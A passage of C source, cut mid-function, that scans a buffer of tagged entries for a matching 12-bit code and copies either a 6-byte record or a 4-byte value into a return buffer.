int status = 0;
while (i < buflen) {
item = (tmpbuf[i] + (tmpbuf[i+1]<<8));
if (0x1000 & item) {
if ((item & 0xFFF) == code) {
memcpy(retbuf, &tmpbuf[i+4],6);
status = 1;
break;
}
i += (tmpbuf[i+2] + (tmpbuf[i+3]<<8)) + 4;
} else {
// A value, ours?
if ((item & 0xFFF) == code) {
// Yep, return it
memcpy(retbuf, &tmpbuf[i+2], 4);
status = 1;
break;
}
i += 6;
}
}
return status;
}